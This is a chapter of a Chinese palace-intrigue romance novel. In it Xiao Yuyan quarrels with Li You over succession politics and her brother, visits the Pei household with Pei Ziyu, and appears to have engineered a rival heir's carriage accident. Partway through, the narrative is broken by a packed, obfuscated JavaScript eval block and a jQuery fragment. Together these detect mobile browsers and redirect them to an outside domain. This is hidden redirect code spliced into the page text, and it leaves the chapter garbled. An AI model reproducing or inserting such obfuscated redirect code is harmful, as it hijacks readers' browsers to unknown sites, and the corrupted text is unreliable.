萧玉烟回身关上了门。
李佑抱臂假寐,听到动静睁眼伸了个懒腰,“把我约来客栈干什么?也不怕那个小白脸误会。”
萧玉烟没有理会他的调侃,而是走近他用力一拍桌子,“你说我干嘛?为什么要对我哥说那种话?”
“哪种话?哦……想起来了,那日我可是差点被裴子喻那厮一剑封喉,你就没有什么想说的?”
萧玉烟听说了这事,受了不小的惊吓,连夜让暗卫送了封信给裴子喻言明是误会,“裴子喻误信了外面的风言风语担心我,但无论如何都不该在不明真相时对你挥剑相向,这事是我不好没有同他解释清楚,我代他向你道歉。可是,”她又将话头转向李佑,“做戏的方式千千万万,偏要挑让我哥伤心的话讲,这事是你不对。”
李佑毫不在意地把玩着茶杯,“谁说我在做戏,那日可都是肺腑之言。”
萧玉烟顿了顿,“我明白了,我哥他脾气不好,是不是你们先前在军营有些摩擦?我代我哥向你赔个不是。”
李佑像看傻子一样看着她,“你一会儿代这个道歉,一会儿代那个道歉,累不累啊?”
萧玉烟沉默了片刻道:“你们都是我最亲近的人,我希望你们能够好好相处。”
李佑突然笑了,“我拿你当朋友,他们可没拿你当人。”
“裴子喻先前和‘萧玉烟’有摩擦,关系缓和全靠你来哄。萧钺安更是可笑,身为长兄却整日躲在妹妹弟弟后头,一个不堪大用的懦夫也值得你来特意找我?”
“不是的,哥他……哥他是世子,不能有事。”萧玉烟紧紧捏着手指。
“你口口声声说皇室的事与你无关,可现在呢?你忘了你的初心,你现在做的事与林家有何关系?不仅与林家无关,还将自己置于危险境地,你可有想过万一你……林堂主怎么办?”李佑恨铁不成钢。
萧玉烟茫然地看着前方,亲爹一开始找上门时她将对方视为豺狼,出于林家人的安全考虑果断跟着他走了,多年相处下来发现对亲爹有颇多误解,亲爹并不会对林家下手,可自己不仅没有果断抽离争储漩涡反而接手了京中一切事宜。
林云舟当初年纪小亲爹并没有让他接触过这些,她也试探过萧钺安,身为世子的他一问三不知,不知究竟是对这一切不感兴趣还是亲爹压根不曾与他提及。
“所以,你留在奉京就是为了给萧承瑾当打手,他在暗你在明,明枪暗箭都先在你身上过一遍。”李佑一字一顿地说道,“等扫平一切障碍之后萧承瑾坐上皇位,萧钺安什么都不用做就是储君。”
“而你,林砚秋,幸运的话还能捞个公主当当,不幸的话还得等着我来帮你收尸!”
“别说了……”萧玉烟怔怔地坐在凳上。
“皇帝啊,这天底下最高贵的人,后宫美人如云恐怕挑都挑不过来,到时还能记得曾有一位因他而中毒险些身亡的发妻?”
“别说了!”萧玉烟挥袖摔碎了茶盏。
她的胸口起伏很大,定了定心神后道:“我明白你的意思,该争取的我都会争取,我没有那么傻。你家人最后应该是被他的人接应走了,姑且不要得罪他。”
“我知道,前几日屋里多了封信,应当是他的人送来的,是我娘的字迹。”
“过些时日我会提出将你的家人接走。”
“用不着,你母亲也在,他还有用得到你的地方不会拿我的家人怎样,频繁转移容易引起萧承宇的注意。”
“萧承宇没有说别的?”萧玉烟说的是他回金陵操办丧事时萧承宇突然找上门的事。
“没,他应当是看皇上没有收回萧钺安兵权的意思有些急了,急需推我上位。”
“皇上隐约也有扶持你的意思。”
李佑摸了摸下巴,“皇上突然对我颇多关照我还真是吓了一跳。”他笑嘻嘻地说道,“你猜皇上给我开了什么条件?”
萧玉烟不知他在卖什么关子,但还是顺着他的话说道:“无非是封官加爵外加金银珠宝,还能有什么条件?”
李佑煞有介事地摇摇头,“这些萧承宇也能给,他总要拿出些不一样的。”
萧玉烟听他这般说倒是有些好奇了,“除了这些皇上还许诺了你什么?”
“你。”
萧玉烟没听明白,“我怎么了?”
李佑笑得开怀,“就是你啊!哈哈哈——”
萧玉烟反应了一会儿继而面色愠怒,“将我许诺给你?这么快就装不下去了?”
李佑眼泪都笑出来了,“不知道那老东西怎么想的,外人眼里我们也没接触过几次,怎么就断定我对你有意?”
“我怎么知道?”萧玉烟有些气急败坏,“你怎么回话的?”
“我拒绝了,但是他不信,我便什么都没说了。”
拒绝了不信,不拒绝就是实锤,皇帝只会信他愿意相信的。
“我们以后尽量避免接触。”萧玉烟如是说道。
“我可是你的左膀右臂,你就这么把我推给别人?”
萧玉烟白了他一眼,“以后的事以后再说,这都传成什么了?”
“也是,暗恋兄弟简直就是恐怖故事。”
“谁跟你是兄弟?”
李佑改口,“姐妹。这若是传到了你那小郎君耳朵里,还不知又要怎么为难我。”
“再赔你一车好酒,陈大将军就原谅我那小郎君吧。”
“我也不是想喝酒,就是觉得这人也没大错,那就勉强原谅吧。”
萧玉烟先出了客栈,一个小乞丐见到她跑到了跟前。
“如何?”萧玉烟问道。
“紫檀云纹,错不了!”
“确定里面是一个年轻公子吗?”
小乞丐点头,“中途掀了帘子,是个模样姣好的年轻公子。”
萧玉烟给了他一小锭银子,“不错,去玩吧。”
李佑好奇问道:“这是?”
“今日安排一出好戏。”
李佑一听就知道有情况,来了兴趣,“需要我帮忙吗?”
“不用。今日日头好,突然念我那小郎君念得紧,先走一步。”
李佑想了想道:“我方才没想到这儿,你该不会是为了那个小白脸留下的吧?”
萧玉烟冷笑,“我在你心里就是个好色之徒?”
李佑放下心来,“那便好,我就知道你有分寸。”
路过裴府,恰逢裴玄从马车下来。
萧玉烟掀了帘子,“真巧。”
裴玄笑笑,“这是我家,倒也不算巧。”
“小姑父这脾气可不算好,也不知今后能不能顾好我小姑姑,待会儿我让人送些菊花茶来,清清火。”
裴玄深吸了一口气,“来找子喻?他待会儿过来用膳,你们……”
“如此便不客气了。”萧玉烟下了马车,“不进去?”
裴玄心平气和道:“我是说你们若是想见面他便不用来了。”
萧玉烟像是听不懂一般说道:“无妨,总归要到用膳的时间了,就在裴府凑合凑合吧。”
裴玄不好再赶客,只得请人进去。
裴子喻进门后看到萧玉烟和裴夫人相谈甚欢揉了揉眼睛。
“你愣着作甚?”萧玉烟道。
“没……”他一一问候后自然地贴着萧玉烟坐下。
裴夫人觉察出异样,看了裴家主一眼,裴家主并未察觉有何不妥,只问着裴子喻的课业,“近来不常见你,是整日闷头念书还是有所懈怠?”
“自然是闷头读书,一点喘息的时间都没有。”裴子喻语气中带着幽怨。
这段时日他只要课业一做完就让阿影去将军府探消息,萧玉烟若是能出来二人就一道出门,若是不能就书信传话。通常萧玉烟并不会拒绝出门,可别人出门都是你侬我侬,他们出门却是萧玉烟盯着他继续看书,他为此抗议过多次但都无果。
定远侯本还特意叮嘱他不要荒废了课业,但自从知道两人出门不过是换个地方继续看书便没再多说什么,不用他亲自盯着倒也乐得轻松。
“科举为重,旁的就先不帮你操心了。”裴家主说道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816949|172644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
裴子喻嘴唇动了动纠结要不要在此时提及二人的婚事,萧玉烟用脚尖碰了碰他。
“怎么了?”裴家主问道。
“……下回等哥休沐我再来。”
事实上裴子喻第二日就又来了。
皇帝赐给了萧玉烟一间布庄,因为总是能搞到最时兴的上等布料这几年愈发炙手可热,裴夫人本在发愁月华锦数量稀少要如何买到,萧玉烟听闻后亲自登门将月华锦送来。
“夫人若是喜欢什么下回直接同我说便是,随便您挑。”
“真是没想到那布庄竟是郡主的私产,如此妾身便不客气了。”
裴夫人起身去取银子,待两人说完话裴子喻悄声问道:“你这是做什么坏事了来裴府避难?”
萧玉烟挑了挑眉,“这是什么话?连皇上都夸我端庄知礼,一个端庄知礼之人怎么会做坏事?”
“我还不了解你?是不是惹了你哥生气?”
“才没有!再说我哥才舍不得生我气呢。”
裴子喻眼睛一错不错地看着她,觉得可爱得紧,凑上前轻碰了下她的唇角,萧玉烟耳根瞬间红了,“这在裴府呢!”
裴子喻毫无羞耻心地笑了,“一时没忍住,下次不会了。”
萧玉烟瞪他,“你上次也这么说!”
裴子喻一本正经地道歉,“你若是觉得吃亏下回你就偷亲我。”
萧玉烟觉得这人非常无耻,气得打了他一下,裴子喻等她出完气又关心她手疼不疼。
裴家主在他二人身后惊呆了,刚想上前被裴夫人一把拉了回来,低声道:“你干什么去?”
“他他他……光天化日下成何体统!”
裴夫人觉得他一点眼力见都没有,也不知怎么当上的吏部侍郎,“上回郡主笄礼我就觉得怪异,弟妹他们对此事定然知情,你就先别管了。”
裴家主急了,“那怎么能不管呢?子喻是我亲侄子!”
“当初家里不同意三弟的婚事最后闹了个分家的下场,弟妹不计较,该有的礼数全都遵守,子喻他也没受到影响现在是向着裴家的,但若是又反对他的婚事这亲戚日后还走不走了?”
裴家主沉默了,他也明白就算反对定远侯也不会听,在行宫就不顾劝阻去问了萧承瑾的意思,只是被明里暗里拒绝了才作罢。
“这婚事不是我反对,那启王爷先前就不同意。”
“启王爷现在又不在,更何况世子在京城,他会一点不知道亲妹妹的事?”
裴家主觉得夫人说的有道理,这婚事就算他不反对也有大把的人反对,不需要他来做这个恶人,于是他换了个方向出门了。
裴夫人留了萧玉烟用晚膳,裴玄回来时面色有些怪异。
“玄儿今日怎么这么晚才回来?”裴夫人问道。
“路上碰到大理寺卿,聊了会儿。”裴玄看向萧玉烟,“辰王世子车驾行驶途中散了架,不慎摔落山崖,这事郡主可知?”
萧玉烟一脸吃惊地看着他,“竟有此事?可有存活的风险?”
裴玄咳嗽了声,“山坡平缓,伤势不重,太医已经看过了。”
裴子喻在桌下拼命拉扯萧玉烟衣角,见她并未理会尴尬地说道:“……先用膳吧,有什么事明日就知道了。”
用膳时小桃慌里慌张地来了裴府,“主子不好了!辰王妃带人上门摔东西,说要您偿命!”
裴子喻一下子站了起来,“萧钺安呢?”
“世子不在。”
他看向萧玉烟,萧玉烟正慢条斯理地喝着粥,道:“吃了吗?”
小桃愣了下,老老实实答道:“还没……这不要紧,要紧的是府上现在无主,我们拦不住她!”
萧玉烟看向裴家主,“现在将军府一团糟,裴大人可介意我府上的人来讨口饭吃?”
裴家主回过神来,“……不介意,来人,带她去用膳。”
小桃急得眼泪都要出来了,萧玉烟这才说道:“摔几样东西罢了,不妨事,你吃好了咱们就回去清点损失,回头找小叔叔要。”